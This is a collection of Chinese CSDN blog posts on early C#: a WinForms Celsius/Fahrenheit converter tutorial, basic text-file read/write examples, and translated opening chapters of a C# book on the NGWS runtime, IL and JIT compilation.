tTempCel.TabIndex = 0;
tTempCel.SetSize(50,25);
tTempCel.SetLocation(13,5);
lTempCel.TabStop = false;
lTempCel.Text = "C";
lTempCel.SetSize(25, 25);
lTempCel.SetLocation(65,5);
tTempFah.TabIndex = 1;
tTempFah.SetSize(50,25);
tTempFah.SetLocation(90,5);
lTempFah.TabStop = false;
lTempFah.Text = "F";
lTempFah.SetSize(25,25);
lTempFah.SetLocation(142,5);
bnCtoF.TabIndex = 2;
bnCtoF.Text = "C to F";
bnCtoF.SetSize(70,25);
bnCtoF.SetLocation(13,35);
bnCtoF.Click += new EventHandler
(this.bnCtoF_Click);
bnFtoC.TabIndex = 3;
bnFtoC.Text = "F to C";
bnFtoC.SetSize(70,25);
bnFtoC.SetLocation(90,35);
bnFtoC.Click += new EventHandler
(this.bnFtoC_Click);
this.Controls.Add(tTempCel);
this.Controls.Add(lTempCel);
this.Controls.Add(tTempFah);
this.Controls.Add(lTempFah);
this.Controls.Add(bnCtoF);
this.Controls.Add(bnFtoC);
//= new Control [] { tTempCel, lTempCel, tTempFah,
lTempFah, bnCtoF, bnFtoC };
}

public static void Main() {
Application.Run( new TempConverter() );
}

private void bnCtoF_Click(Object sender,
EventArgs e) {
double dTempCel = 0;
double dTempFah = 0;
try { dTempCel = tTempCel.Text.ToDouble(); }
catch(Exception) {
tTempCel.Clear();
tTempFah.Clear();
return;
}
dTempFah = 1.8*dTempCel+32;
tTempFah.Text = dTempFah.ToString();
tTempFah.Focus();
tTempFah.SelectionStart = 0;
tTempFah.SelectionLength = 0;
tTempCel.Focus();
tTempCel.SelectionStart = 0;
tTempCel.SelectionLength = 0;
}

private void bnFtoC_Click(Object sender,
EventArgs e) {
double dTempCel = 0;
double dTempFah = 0;
try { dTempFah = tTempFah.Text.ToDouble(); }
catch(Exception) {
tTempCel.Clear();
tTempFah.Clear();
return;
}
dTempCel = (dTempFah-32)/1.8;
tTempCel.Text = dTempCel.ToString();
tTempCel.Focus();
tTempCel.SelectionStart = 0;
tTempCel.SelectionLength = 0;
tTempFah.Focus();
tTempFah.SelectionStart = 0;
tTempFah.SelectionLength = 0;
}
}


csdn_c#中对文件的操作小结

c#中对文件的操作小结
内容:
1、建立一个文本文件
public class FileClass
{
public static void Main()
{
WriteToFile();
}
static void WriteToFile()
{
StreamWriter SW;
SW=File.CreateText("c:\MyTextFile.txt");
SW.WriteLine("God is greatest of them all");
SW.WriteLine("This is second line");
SW.Close();
Console.WriteLine("File Created SucacessFully");
}
}

2、读文件
public class FileClass
{
public static void Main()
{
ReadFromFile("c:\MyTextFile.txt");
}
static void ReadFromFile(string filename)
{
StreamReader SR;
string S;
SR=File.OpenText(filename);
S=SR.ReadLine();
while(S!=null)
{
Console.WriteLine(S);
S=SR.ReadLine();
}
SR.Close();
}
}

3、追加操作

public class FileClass
{
public static void Main()
{
AppendToFile();
}
static void AppendToFile()
{
StreamWriter SW;
SW=File.AppendText("C:\MyTextFile.txt");
SW.WriteLine("This Line Is Appended");
SW.Close();
Console.WriteLine("Text Appended Successfully");
}
}


csdn_C#编程三步走之一

C#编程三步走之一
内容:
C#是微软.NET架构的主力开发语言，它功能广泛而强大，Web开发人
员应该毫不犹豫地拥抱它。本文就通过一个摄氏温度与华氏温度间相
互转换的例子对C#

的GUI编程进行介绍，旨在带领你快速步入C#之强大与神奇的编程世
界。

准备条件

要理解本文所举例程，首先要对C#和面向对象的编程有一个基本的了
解。关于 C#的基本知识，请参阅 C#入门

这篇文章。要编译并运行举例的应用程序，就需 下载

.NET Framework SDK，它当前的一个版本是Beta 1。

作为程序开发者，我们都知道创建一个典型的基于 windows 的应用
程序应该包含以下这些基本步骤：创建一个适当的表单；向表单中增
加控件；最后增加响应用户事件的代码。

C#和 .NET 框架出现后，完成这些步骤所需要的工具都可以在
System.WinForms 名子空间中找到。

第一步 创建一个表单

这非常简单，只需要创建一个从 System.WinForms.Form 类中衍生出
来的类，并对适当的属性进行初始化就可以。在我们的例子中，类定
义是这样开始的：

public class TempConverter : System.WinForms.Form
{
.
.
.
}

以下是我们希望的主窗口（表单）视图：

我们希望表单具备如下特征：

－ 窗口大小为 180乘 90象素

－ 不给用户改变窗口大小的能力

－ 标题栏中显示的标题是 +C －> +F / +F －> +C

－ 初始状态下表单显示在屏幕的中心

－ 不想要帮助按钮（应用程序太简单，不需要帮助按钮）

－ 不给用户提供将应用程序最大化的能力

（因为在给定的窗口尺寸内，一切都是可视的，因此不需要最大化）


csdn_C#编程三步走之二

C#编程三步走之二
内容:

将表单初始化成给定的规格涉及到对 TempConverter 对象的某些属
性进行设置。有些属性有改变值的方法，而其它属性则要通过更新适
当的实例变量来直接修改。下面是有关代码。如果想要得到关于
WinForms

类的属性和方法的更多信息，那么 .NET Framework SDK 所提供的文
档可以算是一个很好的参考资料。

this.SetSize(180,90);
this.BorderStyle = FormBorderStyle.FixedDialog;
this.Text = " +C －> +F / +F －> +C ";
this.StartPosition =
FormStartPosition.CenterScreen;
this.HelpButton = false;
this.MaximizeBox = false;

现在把这些代码放在一起进行编译和运行，看看表单运行后是什么样
子。这里要使用类定义，创建一个构造器（其中要包含以上的代码来
初始化主窗口的外观），并且要创建一个主方法来创建类的一个例
示。以下是完成这一工作的代码：

public class TempConverter : System.WinForms.Form
{

public TempConverter() {
this.SetSize(180,90);
this.BorderStyle =
FormBorderStyle.FixedDialog;
this.Text =" +C －> +F / +F －> +C ";
this.StartPosition =
FormStartPosition.CenterScreen;
this.HelpButton = false;
this.MaximizeBox = false;
}

public static void Main() {
Application.Run( new TempConverter() );
}
}

以上只有 Main() 方法所在行是新的代码。

Application.Run(new TempConverter());

上面这一行的意思是用新表单来启动应用程序。

假设源文件叫做TempConverter.cs，那么执行以下的命令编译代码：

csc /r:System.dll /r:Microsoft.Win32.Interop.dll /r:System.
WinForms.dll TempConverter.cs

这里不再详细讲解编译命令，因为当Visual Studio .NET可用时，就
不必要发出命令行的编译命令了。

第二步 向表单中增加控件

接着的一步是向表单中增加控件。我们为每个控件创建一个实例变
量，对这些新实例变量进行初始化，最后把每个控件都放在表单中。
这里是增加了控件之后表单的样子，以及更新过的代码：

public class TempConverter : System.WinForms.Form
{

Label lTempFah = new Label();
Label lTempCel = new Label();
TextBox tTempFah = new TextBox();
TextBox tTempCel = new TextBox();
Button bnCtoF = new Button();
Button bnFtoC = new Button();

public TempConverter() {
this.SetSize(180,90);
this.BorderStyle =
FormBorderStyle.FixedDialog;
this.Text =" +C －> +F / +F －> +C ";
this.StartPosition =
FormStartPosition.CenterScreen;
this.HelpButton = false;
this.MaximizeBox = false;
tTempCel.TabIndex = 0;
tTempCel.SetSize(50,25);
tTempCel.SetLocation(13,5);
lTempCel.TabStop = false;
lTempCel.Text = "+C ";
lTempCel.SetSize(25, 25);
lTempCel.SetLocation(65,5);
tTempFah.TabIndex = 1;
tTempFah.SetSize(50,25);
tTempFah.SetLocation(90,5);
lTempFah.TabStop = false;
lTempFah.Text = "+F ";
lTempFah.SetSize(25,25);
lTempFah.SetLocation(142,5);
bnCtoF.TabIndex = 2;
bnCtoF.Text = "+C to +F ";
bnCtoF.SetSize(70,25);
bnCtoF.SetLocation(13,35);
bnFtoC.TabIndex = 3;
bnFtoC.Text = "+F to +C ";
bnFtoC.SetSize(70,25);
bnFtoC.SetLocation(90,35);
this.Controls.Add(tTempCel);
this.Controls.Add(lTempCel);
this.Controls.Add(tTempFah);
this.Controls.Add(lTempFah);
this.Controls.Add(bnCtoF);
this.Controls.Add(bnFtoC);
}

以上代码首先创建两个标签、两个文本框和两个按钮，然后对每个控
件进行初始化并将其加入表单中。具体的含义如下：

－ SetSize() 初始化控件的尺寸

－ SetLocation() 初始化表单中控件的位置

－ 设置控件的TabStop 属性为false表示这个控件从不被聚焦

－ 设置TabIndex 为 X 表示当敲击TAB键x次后聚焦此控件

－ 控件的text 属性表示显示在其上的文字信息

－ this.Controls.Add() 表示在表单上放置一个控件，要快速地添
加每个控件，可以这么书写：this.Controls = new

Control[] { tTempCel, lTempCel, tTempFar?.}


csdn_C#编程三步走之三

C#编程三步走之三
内容:
第三步 增加响应用户事件代码
还有最后一步就可以大功告成了，就是增加一个方法来捕捉按钮点击
事件。这里就是指从摄氏到华氏的按钮点击代码：
private void bnCtoF_Click(Object sender,
EventArgs e) {
double dTempCel = 0;
double dTempFah = 0;
try { dTempCel = tTempCel.Text.ToDouble(); }
catch(Exception) {
tTempCel.Clear();
tTempFah.Clear();
return;
}
dTempFah = 1.8*dTempCel+32;
tTempFah.Text = dTempFah.ToString();
tTempFah.Focus();
tTempFah.SelectionStart = 0;
tTempFah.SelectionLength = 0;
tTempCel.Focus();
tTempCel.SelectionStart = 0;
tTempCel.SelectionLength = 0;
}

以下是Fahrenheit按钮的代码，它将完成同样的任务，只不过是相反
的处理：
private void bnFtoC_Click(Object sender,
EventArgs e) {
double dTempCel = 0;
double dTempFah = 0;
try { dTempFah = tTempFah.Text.ToDouble(); }
catch(Exception) {
tTempCel.Clear();
tTempFah.Clear();
return;
}
dTempCel = (dTempFah-32)/1.8;
tTempCel.Text = dTempCel.ToString();
tTempCel.Focus();
tTempCel.SelectionStart = 0;
tTempCel.SelectionLength = 0;
tTempFah.Focus();
tTempFah.SelectionStart = 0;
tTempFah.SelectionLength = 0;
}
接着，我们需要将适当的点击事件捕捉方法与按钮的 Click事件联系
起来。要完成这一步，我们将以下两行放在类的构造器中:
bnCtoF.Click += new EventHandler
(this.bnCtoF_Click);
bnFtoC.Click += new EventHandler
(this.bnFtoC_Click);


csdn_《.net编程先锋C#》前言

《.net编程先锋C#》前言
前言
0.1 提要
欢迎阅读《展现 C#》(Presenting C#)。这本书是你提高企业编程语言的一条捷径。这种企业编程语言带有下一代编程语言服务运行时(NGWS Runtime)：C#(发音"C sharp")。
NGWS Runtime 是一个不仅管理执行代码、同时也提供使编程更加容易的动态环境。编译器产生受管代码以指向这种受管理执行环境。你获得跨平台语言集成、跨平台语言异常处理、增强安全性、版本控制、安排支持和查错服务。
支持NGWS Runtime 的主要语言是C#。支持NGWS框架的很多程序是用C#写的，因此，在一些带有NGWS Runtime的编译器中，它的编译器可以被认为是非常经得起测试且是经过优化的。C#语言借鉴了C++，但是具备现代化和新增的类型安全——使C#成为企业解决方案的首选语言。 0.2 谁应该读这本书
如果你对编程很陌生，这本书不适合你。这本书企图让程序员解脱并使用C#，基于他们已经拥有的知识。《展现 C#》的目标瞄准了已经具有如C/C++、VB、Java或其它编程经验的程序员。
如果你具有C++的背景，转向C#会很容易，但是，如果你精通于其它不同的语言，这本书也会耗掉你的一些日子。如果你有一点COM编程的知识，这本会更有趣，但会COM编程不再是必要的。

0.3 这本书如何组织
第一章 C#简介——这一章把你带到C#逛一回，同时回答了有关你应该考虑学习C#的问题。
第二章 NGWS Runtime 的技术基础——介绍NGWS Runtime为运行的C#代码所提供的低层架构。
第三章 第一个C#应用程序——创建真正第一个C#应用程序(否则它是什么呢?)，它就是一个"Hello World"应用程序。
第四章 C#类型——可以看到用在C#应用程序中的各种类型。探索值型和引用型的区别，还有如何加框和消框。
第五章 类——C#功能真正强大的标志，它是具有类的面向对象的编程。你会学到好多好多的东西，如构造函数、析构函数、方法、属性、索引和事件等。
第六章 控制语句——对应用程序实行流程控制。探索C#提供的各种选择和陈述语句。
第七章 异常处理——获得了编写实现异常处理的应用程序技巧，拥有这种技巧，在NGWS Runtime世界，你是一个好的公民
第八章 用C#写组件——用C#构建组件，因为支持NGWS Runtime，它可以被不同语言平台的客户使用。
第九章 配置和安排——学到如何用C#有条件地进行编译工作，和如何为你的C#源码自动地创建文档。另外，这一章将介绍到NGWS的版本技术问题。
第十章 用非受管代码交互操作——发现你如何使用C#内部的非受管代码，且非受管代码如何与你的C#组件一起交互操作。
第十一章 C#代码查错——获得使用SDK查错工具的技巧，可以在应用程序中准确地找到错误并修改它们。
第十二章 安全——探索NGWS Runtime的安全概念。学到代码访问安全性和基于角色的安全性。

0.4 使用这本书你需要什么?
从这本书的观点看，你所需要的就是下一代windows服务软件开发包(NGWS SDK)。尽管至少只要有NGWS Runtime 和C#编译器就可以，但当探索这些激动人心的新技术功能 时，在一台机器上装有说明文件档和所有的SDK工具(包括debugger)，将是一个极好的主意。
这本书不需要你装在机器上的Visual Studio 7的任何工具。我仅建议你要有一个优秀的支持行数的程序编辑器，用以编辑C#源文件。
……
(省略掉一些有关出版过程和表示感谢的段落)

0.5 关于作者
Christoph Wille，微软系统工程师(MCSE)、微软系统开发师(MCSD)、Netware网络管理员(CNA)和MCP-IT，作为一个网络咨询人员和程序员，特别精通Windows DNA。微软认为他是ASP方面最有价值的人(MVP)，他是和微软在一起使用早期的C#版本的少数开发者之一。
Christoph 独自或参与了几本书的写作，包括Sams出版社的《自学ADO2.5 21天》、《自学ASP 24小时》、《自学MCSE TCP/IP 14天》和《MCSE 训练指南：SQL Server 7管理》。


csdn_《.net编程先锋C#》第一章 C#简介

《.net编程先锋C#》第一章 C#简介

  第一章 C# 简介 　欢迎您加入C#的世界！ 这一章将把您引进C#的天地，并回答一些相关的问题，如：您为什么要使用C#，C++和C#的主要有什么不同点，以及为什么C#使开发更容易而且还使您感到很有趣。
为什么是另外一种编程语言?
  必须回答的一个问题：当您已经使用C++或VB从事企业开发时，为什么还要学习另一种语言? 市场式的回答就是："在企业计算领域，C#将会变成为用于编写"下一代窗口服务"(Next Generation Windows Services,简写为NGWS )应用程序的主要语言。" 这一章将对用参数请求提供支持，并陈列了C#的一些功能。这一章会使您开胃的。
  C#语言自C/C++演变而来。但是，它现代、简单、完全面向对象和类型安全。如果您是C/C++程序员，学习曲线将会很平坦。许多C#语句直接借用您所喜爱的语言，包括表达式和操作符。假如不仔细看，简直会把它当成C++。
  关于C#最重要的一点：它是现代的编程语言。它简化和现代化了C++在类、名字空间、方法重载和异常处理等领域。屏弃了C++的复杂性，使它更易用、更少出错。
  对C#的易用有贡献的是减少了C++的一些特性，不再有宏、模板和多重继承。特别对企业开发者来说，上述功能只会产生更多的麻烦而不是效益。
  使编程更方便的新功能是严格的类型安全、版本控制、垃圾收集(garbage collect)等等。所有的这些功能的目标都是瞄准了开发面向组件的软件。

  在继续呈现出更多的功能之前，我想停下来并在下面说明C#至关重要的各种要素。

简单
现代
面向对象
类型安全
版本控制
兼容
灵活

简单
  C#具有C++所没有的一 个优势就是学习简单。该语言首要的目标就是简单。很多功能(还不如说是缺少了C++的一些功能)有助于C#全方位的简单。
  在C#中，没有C++中流行的指针。默认地，您工作在受管理的代码中，在那里不允许如直接存取内存等不安全的操作。我想没有C++程序员可以声称，从没有使用指针访问过不属于他们的内存。
  与指针"戏剧性"密切相关的是"愚蠢的"操作。在C++中，有::、.、和->操作符，它们用于名字空间、成员和引用。对于新手来说，操作符至今仍是学习的一道难关。C#弃用其它操作符，仅使用单个操作符 "."。现在一个程序员所需要理解的就是嵌套名字的注解了。
  您不必记住基于不同处理器架构的隐含的类型，甚至各种整型的变化范围。C#使用统一的类型系统，屏弃了C++多变的类型系统。这种系统充许您把各种类型作为一个对象查看，它是一个原始类型还是一个full-blown 类。和其它编程语言相比，由于加框(boxing)和消框(unboxing)的机制，把简单类型当作对象处理并不能获得性能的改善。稍后将详细解释加框和消框，但基本上仅当需要时才使用对象访问简单类型这种技术。
  首先，老练的程序员可能不喜欢它，但是整型和布尔型如今终归是两种完全不同的数据类型。这就意味着原来if语句中错误的赋值现在会被编译出错，因为if语句只接受布尔类型的值。再也不会出现误用赋值符为比较符这样的错误！
  C#同时也解决了存在于C++中已经有些年头的多余东西(redundancies)。这种多余包括常数预定义，不同字符类型等。鉴于多余表单已经从该语言中消失，故一般在C#中都可以使用表单了。

现代
  您投入学习C#的努力是一笔大投资，因为C#是为编写NGWS 应用程序的主要语言而设计。您 将会发现很多自己用C++可以实现或者很费力实现的功能，在C#中不过是一部分基本的功能而已。
  对于企业级的编程语言来说，新增的金融数据类型很受欢迎。您用到了一种新的十进制数据类型，它专用于金融计算方面。如果不喜欢这种现成简单的类型，根据您应用程序的特殊需求，可以很容易地创建出新的一种数据类型。
  我已经提到，指针不再是您编程武器的一部分。不要太惊讶，全面的内存管理已经不是您的任务。运行时NGWS提供了一个垃圾收集器，负责C#程序中的内存管理。因内存和应用程序都受到管理，所以很必要增强类型安全，以确保应用的稳定性。
  对于C++程序员，异常处理的切不是新的东西，但它是C#的主要功能。C#的异常处理与C++的不同点在于它是交叉语言的(运行时的另一个功能)。在没有C#之前，您必须处理怪异的HRESULTs，但现在由于使用了基于异常的健壮的出错处理， 这一切都 结束了。
  对于现代的应用程序，安全是首要的，C#也不会例外。它提供了元数据语法，用于声明下述NGWS安全模式的能力和许可。元数据是NGWS运行时的一个关键的概念，下一章将涉及到它更深的含义。

面向对象
  您不会预料一种新语言不支持面向对象的功能吧? C#当然支持所有关键的面向对象的概念，如封装、继承和多态性。完整的C#类模式构建在NGWS运行时的虚拟对象系统(VOS，Virtual Object System)的上层，VOS将在下章描述。对象模式只是基础的一部分，不再是编程语言的一部分。
  您一开始必须关注的事，就是不再有全局函数、变量或者是常量。所有的东西都封装在类中，包括事例成员(通过类的事例--对象可以访问)或都静态成员(通过数据类型)。这些使C#代码更加易读且有助于减少潜在的命名冲突。
  定义类中的方法默认是非虚拟的(它们不能被派生类改写)。主要论点是，这样会消除由于偶尔改写方法而导致另外一些原码出错。要改写方法，必须具有显式的虚拟标志。 这种行为不但缩减速了虚拟函数表，而且还确保正确版本的控制。
  使用C++编写类，您可以使用访问权限(access modifiers) 给类成员设置不同的访问等级。C#同样支持private、protected 和public 三种访问权限 ，而且还增加了第四种：internal。有关访问权限 的详细情况将在第五章 "类" 中说明。
  您曾经创建了多少个类是从多基类派生出来的(ATL 程序员，您的投票不计在内！) ? 大多数情况，仅需从一个类派生出。多基类惹出的麻烦通常比它们解决的问题还多。那就是为什么C#仅允许一个基类。如果您觉得需要多重继承，可以运用接口。
  一个可能出现的问题：在C#中不存在指针，如何模仿它? 这个问题的答案很有代表性，它提供了对NGWS运行时事件模式的支持。再次，我将把对它的全面解释放到第五章。

类型安全
  我再次选指针作为一个例子。在C++中拥有一个指针，您能自由地把它强制转换成为任何类型，包括干出诸如把一个int*(整型指针)强制转换成一个double *(双精度指针)这样的傻事。只要内存支持这种操作，它就"干过"。这并不是您所想象的企业级编程语言的类型安全。
  纲要性的问题，C#实施最严格的类型安全，以保护自己及垃圾收集器(garbage collector)。所以必须遵守C#中一些相关变量的规则：
  您不能使用没有初始化的变量。对于对象的成员变量，编译器负责清零。而局部变量，则由您负责清零。当您使用一个没有初始化的变量时，编译器会教您怎么做。优点是能够避免由于使用不经初始化的变量计算结果而导致的错误，而您还不知道这些奇怪的结果是如何产生的。
  C#取消了不安全的类型转换。不能把一个整型强制转换成一个引用类型(如对象)，而当向下转换时，C#验证这种转换是正确的。(也就是说，派生类真的是从向下转换的那个类派生出来的。)
  边界检查是C#的一部分。再也不会出现这种情况：当数组实际只定义了n-1个元素，却超额地使用了n个元素。
  算术运算有可能溢出终值数据类型的范围。C#允许在语句级或应用程序级检测这些运算。在允许检测溢出的情况下，当溢出发生时将会抛出一个异常。
  在C#中，被传递的引用参数是类型安全的。

版本可控(Versionable)
  在过去的几年中，几乎所有的程序员都至少有一次不得不涉及到众所周知的"DLL地狱"。该问题起因于多个应用程序都安装了相同DLL名字的不同版本。有时，老版本的应用程序可以很好地和新版本的DLL一起工作，但是更多的时候它们会中断运行。现在的版本问题真是令人头痛。
  就象您将在第八章"用C#写组件"所看到的，NGWS runtime 将对您所写的应用程序提供版本支持。C#可以最好地支持版本控制。尽管C#不能确保正确的版本控制，但是它可以为程序员保证版本控制成为可能。有这种支持，一个开发人员就可以确保当他的类库升级时，仍保留着对已存在的客户应用程序的二进制兼容。

兼容
  C#并没有存在于一个封闭的世界中。它允许使用最先进的NGWS的通用语言规定(Common Language Specification，简写为CLS)访问不同的API。CLS规定了一个标准，用于符合这种标准的语言的内部之间的操作。为了加强CLS的编译，C#编译器检测所有的公共出口编译，并在通不过时列出错误。
  当然，您也想能够访问旧一点的COM对象。NGWS运行时提供对COM透明的访问。如何集成原来的代码将在第10章"非管理代码的内部操作"有介绍。
  OLE 自动化是一种特殊的动物。任一个使用C++创建OLE自动化项目的人已经喜欢上各种各样的自动化数据类型。有个好消息就是C#支持它们，而没有烦锁的细节。
  最后，C#允许您 用C 原型的API进持内部操作。可以从您的应用程序访问任何DLL中的入口点(有C的原型)。用于访问原始API的功能称作平台调用服务(Plaform Invocation Services ，缩写PInovke)，第10章将展示使用C API进行内部操作的一些例子。

灵活
  上一部分的最后一段有可能提醒了程序员。您可能会问："难道就没有我要传递指针的API吗?" 您是正确的。不是仅有少数的这种API，而是很多(有点保守的估计)。这种对原始WIN32代码的访问有时导致对非安全类指定指针的使用(尽管它们中的一些由于受COM和PInvoke的支持可以解决)。
  尽管C#代码的缺省状态是类型安全的，但是您可以声明一些类或者仅声明类的的方法是非安全类型的。这样的声明允许您使用指针、结构，静态地分配数组。安全码和非安全码都运行在同一个管理空间，这样暗示着当从安全码调用非安全码时不会陷入列集(marshaling)。

小结
  C#语言从C和C++演变而来，它是给那些愿意牺牲C++一点底层功能，以获得更方便和更产品化的企业开发人员而创造的。C#现代、简单、面向对象和类型安全。尽管它借鉴了C和C++的许多东西，但是在一些诸如名字空间、类、方法和异常处理等特定领域，它们之间还存在着巨大的差异。
  C#为您提供了方便的功能，如垃圾收集、类型安全、版本控制，等等。仅有的"代价"就是，代码操作默认是类型安全的，不允许指针。光是类型安全就可以搞定了。但是，如果您需要指针，仍可以通过非安全码使用它们，而且当调用非安全码时，不能含有列集。


csdn_《.net编程先锋C#》第二章 理论基础－公用语言 运行环境

《.net编程先锋C#》第二章 理论基础－公用语言 运行环境

第二章 理论基础－公用语言 运行环境
既然你已经具有了C#全面的印象，我也想让你了解NGWS runtime的全貌。C#依靠由NGWS提供的运行时；因此，有必要知道运行时如何工作，以及它背后所蕴含的概念。
所以，这一章分为两部分——它们是所有的概念和使用的基础。两部分的内容虽然有些重叠，但它有助于加深理解正在学习的概念。

2.1 NGWS Runtime
NGWS和NGWS Runtime为你提供了一种运行时环境。该运行时管理执行代码，并提供了使编程更容易的服务。只要你的编译器支持这种运行时，你就会从这种受管理的执行环境中得益。
你猜测C#编译器支持NGWS runtime很正确，但是不仅它支持NGWS runtime，VB和C++也支持。这些为支持运行时所创建的代码称作"受管代码"(managed code)。以下是你的应用程序从NGWS runtime那里所得到的利益：

交叉语言集成(通过通用语言规范)
自动内存管理(垃圾收集)
交叉语言异常处理(统一展开)
增强安全(包括类型安全)
版本支持("DLL地狱"终结者)
组件交互简化模式

因NGWS runtime 要提供了所有的这些好处，编译器必须把元文件和受管代码一起发出。元文件描述代码中的类型，它和你的代码存在一起(与PE类似---PE为可变位执行文件)
正如你从很多种交叉语言功能所看到的，NGWS runtime主要是关于高度集成交叉多异编程语言(tight integration across multiple different programming languages)。这种支持可达到允许你从一个VB对象派生出一个C#类的程度(我后面会给出要讨论的文章)。
C#程序员将会喜欢的一个功能是，他们不必担心内存管理—也就是说不必担心臭名昭著的内存泄漏。NGWS runtime提供了内存管理，当对象和变量的生命期结束(不再被引用)时，垃圾收集器释放它们。我真的喜欢这个功能，因为在COM中的内存管理一直是我的一块心病。
应该鼓励配置一个管理应用程序或者组件。因为管理应用程序含有元数据文件，NGWS runtime可以利用这些信息，以确保你的应用程序具有它所需的各种规定版本。所产生的明显效果为，由于你的代码没有相互之间的依赖，很少可能出现中断。
这章余下来的将分为两部分，每一部分讨论NGWS runtime的各个方面，直到你的C#应用程序能执行为止。
1、中间语言(Intermediate Language，缩写IL)和元数据
2、即时编译器(just-in-time compliers,简称JITers)

2.1.1 中间语言和元数据
由C#编译器生成的受管代码并不是原始代码，但它是中间语言(IL)代码。这种IL代码自身变成了NGWS runtime的受管执行进程的入口。IL代码明显的优势在于它是CPU无关的，这也意味着，你要用目标机器上的一个编译器才能把IL代码转换成原始代码。
尽管IL代码由编译器产生，但它并不是编译器提供给运行时仅有的东西。编译器同样产生有关你代码的元数据，它告诉运行时有关你代码的更多的东西，例如各种类型的定义、各种类型成员的签名以及其它数据。基本上，元数据是类型库、注册表内容和其它用于COM的信息。尽管如此，元数据还是直接和执行代码合并在一起，并不处在隔离的位置。
IL和元数据存放于扩展了PE格式的文件中(PE格式用于.exe和.dll文件)。当这样的一个PE文件被装载时，运行时从文件中定位和分离出元数据和IL。
在进一步说明之前，我想给你已有的IL指令的简短目录。尽管它不是一个完整的清单，也不需要你熟记和理解，但是它列出了你所必需的、C#程序所基于的知识基础。

算术和逻辑操作符
控制流
直接内存访问
堆栈操作
参数和局部变量
堆栈分配
对象模式
实例类型值
临界区
数组
分型位置
即时编译器(JITters)

2.1.2 即时编译器(JITters)
由C#或其它能产生受管代码的编译器所生成的受管代码就是IL码。虽然IL代码被包装在一个有效的PE文件中，但是你还是不能执行它，除非它被转换成为受管原始代码。这就是NGWS runtime 即时编译器(也称作JITters)大显身手的时候。
为什么你会对即时编译代码感到厌繁， 为什么不把整个IL PE文件编译成原始代码? 答案是时间——需要把IL代码编译成CPU规格的代码的时间。这种编译将更加有效率，因为一些程序段从来就没有被执行过。例如，在我的字处理器中，邮件合并功能从来就没有被编译。
从技术上说，全部的处理过程如下：当一个类型被装载时，装载器创建一个存根(stub)，并使它连接每一个类型的方法。当一个方法第一次被调用时，存根把控制交给JIT。JIT把IL编译为原始代码，且把存根指针指向缓冲了的原始代码。接着的调用将执行原始码。在某些位置上(At some point)，所有的IL都被转换成为原始代码，而JITter处于空闲状态。
正如我在前面提到的，JIT编译器有很多，不止一个。在Windows平台上，NGWS runtime装有3个不同的JIT编译器。
JIT——这是NGWS runtime默认使用的JIT编译器。它是一个后台(back end)优化的编译器 ，在前台(up front)实行数据流分析，并创建了高度优化的受管原始代码做为输出结果。JIT可以使用不严格的IL指令集编码，但是所需资源将十分可观。主要的限制在于内存足迹(footprint)、结果工作集，以及实行优化所消耗的时间。
EconoJIT—— 和主JIT相比，EconJIT的目标是把IL高速地转换成受管原始代码。它允许缓冲所产生的原始代码，但是输出码并不象主JIT生成的代码那样优化(代码小)。当内存紧张时，快速代码生成方案的优势将荡然无存。通过永久地抛弃无用的已JIT过的代码，你可以把更大的IL程序装入代码缓冲区。因为JIT编译快，执行速度也仍然很快。
PreJIT—尽管它是基于主JIT的，但操作起来更象是一个传 统的编译器。你安装了NGWS组件，它才能运行，才可以把IL代码编译成受管原始代码。当然最终的结果为，更快的装载时间和更快的应用程序启动时间(不需要更多的JIT编译)。
在所列出的JITters中，有两个是运行时的JITters。可是你怎么决定要使用哪一个JIT，它如何使用内存? 有一个称做"JIT编译管理器"的小应用程序(jitman.exe)，它存放于NGWS SDK安装目录下的bin目录中。当执行该程序时，它把一个图标加到系统任务条上，双击该图标打开程序对话框(见图2.1)。

图2.1 JIT编译管理器允许你设置各种相关性能的选项

尽管它是一个小小的对话框，可是你所选择的选项功能是相当强大的。每一个选项将在以下描述。
Use EconoJIT only 选项——当该复选框没有选上时，NGWS runtime使用默认的正常的JIT编译器。前面就曾经解释过两种JITter的区别。
Max Code Pitch Overhead(%)选项——该设置仅保留给EconoJIT。它控制了JIT编译时间和执行代码时间的百分比。如果超过了设定的域值，代码缓冲区得到扩充，以缩短JIT编译所消耗的时间。
Limit Size of Code Cache选项——该项默认为非选。没有选择该项意味着缓冲区将使用它所能得到的内存。如果你想限制缓冲区大小，复选该选项，这将允许你使用Max Size of Cache(bytes)选项。
Max Size of Cache(bytes)选项—控制容纳JIT代码的缓冲区的最大值。虽然你可以非常严格地限制这个值，但你还是应该小心，不能超过这个缓冲区所适合的最大值。否则该方法的JIT编译将会失败。
Optimize For Size选项——告诉JIT 编译器，优化的目的是为了使代码更小而不是能执行得更快。这个设置默认是关掉的。
Enable Concurrent GC[garbage collection]选 项——垃圾收集(GC)默认地运行在用户代码的线程中。意味GC发生时，可能会注意到回应有轻微的延迟。为防止出现该现象，打开当前GC。注意，当前GC比标准GC更慢，它仅在windows 2000上写时(the time of writing)有效。
当用C#创建项目时，你可能使用不同的设置试验过。当创建 UI-intensive应用程序时，你将会看到允许当前GC的最大差别。

2.2 虚拟对象系统(VOS)
到目前为止，你仅看到了NGWS runtime如何工作，但是并不了解它工作的技术背景以及为什么它要这样工作。这节都是关于 NGWS 虚拟对象系统的(VOS)。
以下为在VOS中形成声明、使用和管理类型模型时，NGWS runtime的规则。在VOS背后的思想是建立一个框架，在执行代码时不能牺牲性能，允许交叉语言集成和类型安全。
我提到的框架是运行时架构的基础。为了帮助你更好地了解它，我将它勾出四个区域。当开发C#应用程序和组件时，理解它们很重要。
VOS类型系统——提供丰富的类型系统，它打算支持全面编程语言的完全实施。
元数据——描述和引用VOS类型系统所定义的类型。元数据的永久格式与编程语言无关，但是，元数据拿自己当作一种互换机制(nterchange mechanism)来使用，这种互换是在在工具和NGWS的虚拟执行系统之间。
通用语言规范(CLS)——CLS定义了VOS中类型的子集，也定义了常规的用法。如果一个类库遵守CLS的规则，它确保类库可以在其它所有能实现CLS的编程语言上使用。
虚拟执行系统(VES)——这是VOS实时的实现。VES负责装入和执行为NGWS运得时编写的程序。
这四个部分一起组成了NGWS runtime架构。每一部分在下面小节中描述。

2.2.1 VOS类型系统
VOS类型系统提供丰富的类型系统，它打算支持多种编程语言的完全实施。所以，VOS必须都支持面向对象的语言和过程编程语言。
现在，存在着很多种近似但有点不兼容的类型。就拿整型当例子，在VB中，它是16位长，而在C++中，它是32位。还有更多的例子，特别是用在日期和时间以及数据库方面的数据类型。这种不兼容使应用程序的创建和维护不必要地复杂化，尤其当程序使用了多种编程语言时。
